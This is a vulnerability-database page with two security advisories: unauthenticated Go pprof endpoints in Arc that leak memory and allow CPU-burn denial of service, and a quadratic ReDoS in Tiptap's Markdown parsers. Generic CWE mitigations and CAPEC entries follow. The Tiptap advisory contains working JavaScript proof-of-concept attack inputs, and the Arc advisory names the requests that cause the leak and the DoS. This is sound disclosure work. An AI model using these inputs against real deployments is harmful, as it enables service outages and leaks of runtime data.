Arc: Unauthenticated access to Go debug pprof endpoints leaks runtime state and enables CPU-burn DoS
Details

Summary

Arc registers Go's net/http/pprof handlers at /debug/pprof/* via app.Use(pprof.New()) in internal/api/server.go, and /debug/pprof is added to PublicPrefixes in cmd/arc/main.go. The auth middleware short-circuits before the token check on prefix match, so the endpoints are reachable without any authentication.

Impact

Any network-reachable caller (no token required) can:

  • Fetch /debug/pprof/heap — leaks in-memory state: live SQL strings, decoded msgpack records, decompressed request bodies, cached *TokenInfo (the auth cache keys on SHA-256 of the plaintext token at auth.go:543).
  • Fetch /debug/pprof/goroutine?debug=2 — leaks call stacks, identifying internal code paths.
  • Fetch /debug/pprof/profile?seconds=N — pins a CPU core for arbitrary duration. Trivial DoS amplification (one short HTTP request → minutes of server CPU).
  • Fetch /debug/pprof/trace — long-duration execution trace, similar DoS profile.

No authentication, no rate limiting, no resource bound on the seconds parameter.

Patches

https://github.com/Basekick-Labs/arc/releases/tag/v26.06.1

Planned mitigation:

  1. Gate pprof registration behind an env var (ARC_DEBUG_PPROF=1) that defaults to off.
  2. When enabled, bind pprof to a separate localhost-only listener (127.0.0.1:6060 via dedicated net/http server) so it's never reachable from the public API port.
  3. Remove /debug/pprof from PublicPrefixes.
  4. Fix the HasPrefix bug where "/debug/pprofX" matches "/debug/pprof".

Workarounds

  • Block /debug/pprof* at a reverse proxy / load balancer in front of Arc.
  • Restrict Arc's API port to known-trusted networks via firewall rules.
  • Patch the running build: comment out app.Use(pprof.New()) in internal/api/server.go and rebuild.

Credits

Reported by Alex Manson (@NeuroWinter, https://neurowinter.com/) on 2026-05-19.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/basekick-labs/arc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260520170331-32a4091fb949"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-11T17:10:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nArc registers Go\u0027s `net/http/pprof` handlers at `/debug/pprof/*` via `app.Use(pprof.New())` in `internal/api/server.go`, and `/debug/pprof` is added to `PublicPrefixes` in `cmd/arc/main.go`. The auth middleware short-circuits before the token check on prefix match, so the endpoints are reachable without any authentication.\n\n### Impact\n\nAny network-reachable caller (no token required) can:\n\n- Fetch `/debug/pprof/heap` \u2014 leaks in-memory state: live SQL strings, decoded msgpack records, decompressed request bodies, cached `*TokenInfo` (the auth cache keys on SHA-256 of the plaintext token at `auth.go:543`).\n- Fetch `/debug/pprof/goroutine?debug=2` \u2014 leaks call stacks, identifying internal code paths.\n- Fetch `/debug/pprof/profile?seconds=N` \u2014 pins a CPU core for arbitrary duration. Trivial DoS amplification (one short HTTP request \u2192 minutes of server CPU).\n- Fetch `/debug/pprof/trace` \u2014 long-duration execution trace, similar DoS profile.\n\nNo authentication, no rate limiting, no resource bound on the `seconds` parameter.\n\n### Patches\n\nhttps://github.com/Basekick-Labs/arc/releases/tag/v26.06.1\n\nPlanned mitigation:\n\n1. Gate pprof registration behind an env var (`ARC_DEBUG_PPROF=1`) that defaults to off.\n2. When enabled, bind pprof to a separate localhost-only listener (`127.0.0.1:6060` via dedicated `net/http` server) so it\u0027s never reachable from the public API port.\n3. Remove `/debug/pprof` from `PublicPrefixes`.\n4. Fix the `HasPrefix` bug where `\"/debug/pprofX\"` matches `\"/debug/pprof\"`.\n\n### Workarounds\n\n- Block `/debug/pprof*` at a reverse proxy / load balancer in front of Arc.\n- Restrict Arc\u0027s API port to known-trusted networks via firewall rules.\n- Patch the running build: comment out `app.Use(pprof.New())` in `internal/api/server.go` and rebuild.\n\n### Credits\n\nReported by Alex Manson ([@NeuroWinter](https://github.com/NeuroWinter), https://neurowinter.com/) on 2026-05-19.",
  "id": "GHSA-j93g-rp6m-j32m",
  "modified": "2026-06-11T17:10:21Z",
  "published": "2026-06-11T17:10:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/security/advisories/GHSA-j93g-rp6m-j32m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/commit/32a4091fb949f9cf060cdd804a07f6450dc426a8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Basekick-Labs/arc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/releases/tag/v26.06.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Arc: Unauthenticated access to Go debug pprof endpoints leaks runtime state and enables CPU-burn DoS"
}

GHSA-J95F-988M-3J2F

Vulnerability from github – Published: 2026-09-08 21:24 – Updated: 2026-09-08 21:24
VLAI
Summary
Tiptap: Quadratic ReDoS in block and inline Markdown attribute parsing
Details

Summary

@tiptap/core contains two quadratic regular-expression denial-of-service paths in its default Markdown attribute parsers. Pandoc-style block attributes use two unanchored greedy expressions that rescan repeated __QUOTED_0 prefixes. Inline shortcode attributes use another unanchored greedy key expression that rescans a long word-character run when no equals sign follows.

The public createAtomBlockMarkdownSpec and createBlockMarkdownSpec helpers call the vulnerable Pandoc-style parser; createInlineMarkdownSpec calls the separately vulnerable shortcode parser. Using unmodified npm 3.29.2, a complete 20,508-byte atom-block token took approximately 1.40 seconds while an equal-length control took 0.29 ms. A complete 32,776-byte inline token took approximately 2.21 seconds while its equal-length control took 0.19 ms. Current repository main commit 5158212970344952dd9918b6a44bfb400d7fb6c1 retains both expressions.

Block attribute root cause

packages/core/src/utilities/markdown/attributeUtils.ts uses both matchAll and replace with /([a-zA-Z][\w-]*)\s*=\s*(__QUOTED_\d+__)/g. The candidate is '__QUOTED_0'.repeat(n) + '__QUOTED_0__'. There are no quotes, so the preceding replacement leaves it unchanged. At each Q, the greedy key-name expression consumes the remaining word-character run, the required equals sign fails, and the unanchored engine restarts at the next Q. This yields O(n^2) work, and the cleanup pass repeats it.

A complete public-API proof is:

import { createAtomBlockMarkdownSpec } from '@tiptap/core'
const tokenizer = createAtomBlockMarkdownSpec({ nodeName: 'probe' }).markdownTokenizer
const attack = '__QUOTED_0'.repeat(2048) + '__QUOTED_0__'
const source = `:::probe {${attack}} :::\n`
const started = performance.now()
tokenizer.tokenize(source, [], {})
console.log(performance.now() - started)

Measured complete-tokenizer timings were 6.23, 23.12, 88.93, 369.10, and 1,400.17 ms at 1,308, 2,588, 5,148, 10,268, and 20,508 bytes. Equal-length controls took 0.07 to 0.29 ms. The directly exported parser took 5,645.71 ms at 40,972 bytes while its control took 0.64 ms.

Inline attribute root cause

packages/core/src/utilities/markdown/createInlineMarkdownSpec.ts uses /(\w+)=(?:"([^"]*)"|'([^']*)')/g. For a long word-character run without an equals sign, \w+ consumes the remaining suffix, = fails, and the unanchored engine restarts at the next character. The default inline tokenizer extracts this attacker string directly from a syntactically complete [shortcode attributes] token.

import { createInlineMarkdownSpec } from '@tiptap/core'
const tokenizer = createInlineMarkdownSpec({ nodeName: 'probe', selfClosing: true }).markdownTokenizer
const source = `[probe ${'0'.repeat(32768)}]`
const started = performance.now()
tokenizer.tokenize(source, [], {})
console.log(performance.now() - started)

At 1,032, 2,056, 4,104, 8,200, 16,392, and 32,776 bytes, candidates took 3.24, 12.88, 54.82, 136.91, 557.83, and 2,209.47 ms. Equal-length hyphen controls took 0.02 to 0.19 ms.

Impact

Applications parsing attacker-controlled Markdown with these helpers can have a browser main thread, server event loop, or worker blocked by a small input. Persisted documents can repeatedly freeze clients; repeated requests can exhaust server-side parsing capacity. Editors that only consume validated ProseMirror JSON and never invoke the Markdown parsing path are not directly affected through document content.

History and remediation

Commit 35645d94ae9cd73448a564104c2e08f64e9564bc introduced both parsers on 14 October 2025, first released in 3.7.0. Versions 3.7.0 through current 3.29.2 and current main remain affected. Official issue, PR, and repository-advisory searches found no duplicate.

Require a start-of-string or whitespace boundary before both key-value parsers, and preferably replace the multi-pass placeholder and shortcode regex designs with deterministic single-pass tokenizers. Keep quoted values out-of-band so attacker input cannot collide with predictable __QUOTED_n__ placeholders. Add complete block and inline Markdown-tokenizer scaling regressions with equal-length controls.

Please credit GitHub user joostgrunwald as finder/reporter.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tiptap/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.30.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:24:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`@tiptap/core` contains two quadratic regular-expression denial-of-service paths in its default Markdown attribute parsers. Pandoc-style block attributes use two unanchored greedy expressions that rescan repeated `__QUOTED_0` prefixes. Inline shortcode attributes use another unanchored greedy key expression that rescans a long word-character run when no equals sign follows.\n\nThe public `createAtomBlockMarkdownSpec` and `createBlockMarkdownSpec` helpers call the vulnerable Pandoc-style parser; `createInlineMarkdownSpec` calls the separately vulnerable shortcode parser. Using unmodified npm 3.29.2, a complete 20,508-byte atom-block token took approximately 1.40 seconds while an equal-length control took 0.29 ms. A complete 32,776-byte inline token took approximately 2.21 seconds while its equal-length control took 0.19 ms. Current repository `main` commit `5158212970344952dd9918b6a44bfb400d7fb6c1` retains both expressions.\n\n## Block attribute root cause\n\n`packages/core/src/utilities/markdown/attributeUtils.ts` uses both `matchAll` and `replace` with `/([a-zA-Z][\\w-]*)\\s*=\\s*(__QUOTED_\\d+__)/g`. The candidate is `\u0027__QUOTED_0\u0027.repeat(n) + \u0027__QUOTED_0__\u0027`. There are no quotes, so the preceding replacement leaves it unchanged. At each `Q`, the greedy key-name expression consumes the remaining word-character run, the required equals sign fails, and the unanchored engine restarts at the next `Q`. This yields `O(n^2)` work, and the cleanup pass repeats it.\n\nA complete public-API proof is:\n\n```js\nimport { createAtomBlockMarkdownSpec } from \u0027@tiptap/core\u0027\nconst tokenizer = createAtomBlockMarkdownSpec({ nodeName: \u0027probe\u0027 }).markdownTokenizer\nconst attack = \u0027__QUOTED_0\u0027.repeat(2048) + \u0027__QUOTED_0__\u0027\nconst source = `:::probe {${attack}} :::\\n`\nconst started = performance.now()\ntokenizer.tokenize(source, [], {})\nconsole.log(performance.now() - started)\n```\n\nMeasured complete-tokenizer timings were 6.23, 23.12, 88.93, 369.10, and 1,400.17 ms at 1,308, 2,588, 5,148, 10,268, and 20,508 bytes. Equal-length controls took 0.07 to 0.29 ms. The directly exported parser took 5,645.71 ms at 40,972 bytes while its control took 0.64 ms.\n\n## Inline attribute root cause\n\n`packages/core/src/utilities/markdown/createInlineMarkdownSpec.ts` uses `/(\\w+)=(?:\"([^\"]*)\"|\u0027([^\u0027]*)\u0027)/g`. For a long word-character run without an equals sign, `\\w+` consumes the remaining suffix, `=` fails, and the unanchored engine restarts at the next character. The default inline tokenizer extracts this attacker string directly from a syntactically complete `[shortcode attributes]` token.\n\n```js\nimport { createInlineMarkdownSpec } from \u0027@tiptap/core\u0027\nconst tokenizer = createInlineMarkdownSpec({ nodeName: \u0027probe\u0027, selfClosing: true }).markdownTokenizer\nconst source = `[probe ${\u00270\u0027.repeat(32768)}]`\nconst started = performance.now()\ntokenizer.tokenize(source, [], {})\nconsole.log(performance.now() - started)\n```\n\nAt 1,032, 2,056, 4,104, 8,200, 16,392, and 32,776 bytes, candidates took 3.24, 12.88, 54.82, 136.91, 557.83, and 2,209.47 ms. Equal-length hyphen controls took 0.02 to 0.19 ms.\n\n## Impact\n\nApplications parsing attacker-controlled Markdown with these helpers can have a browser main thread, server event loop, or worker blocked by a small input. Persisted documents can repeatedly freeze clients; repeated requests can exhaust server-side parsing capacity. Editors that only consume validated ProseMirror JSON and never invoke the Markdown parsing path are not directly affected through document content.\n\n## History and remediation\n\nCommit `35645d94ae9cd73448a564104c2e08f64e9564bc` introduced both parsers on 14 October 2025, first released in 3.7.0. Versions 3.7.0 through current 3.29.2 and current `main` remain affected. Official issue, PR, and repository-advisory searches found no duplicate.\n\nRequire a start-of-string or whitespace boundary before both key-value parsers, and preferably replace the multi-pass placeholder and shortcode regex designs with deterministic single-pass tokenizers. Keep quoted values out-of-band so attacker input cannot collide with predictable `__QUOTED_n__` placeholders. Add complete block and inline Markdown-tokenizer scaling regressions with equal-length controls.\n\nPlease credit GitHub user `joostgrunwald` as finder/reporter.",
  "id": "GHSA-j95f-988m-3j2f",
  "modified": "2026-09-08T21:24:09Z",
  "published": "2026-09-08T21:24:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ueberdosis/tiptap/security/advisories/GHSA-j95f-988m-3j2f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ueberdosis/tiptap/commit/d0d499be3cce633cf54ca9aa9f3d8a5a1f98bd74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ueberdosis/tiptap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ueberdosis/tiptap/releases/tag/v3.30.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Tiptap: Quadratic ReDoS in block and inline Markdown attribute parsing"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.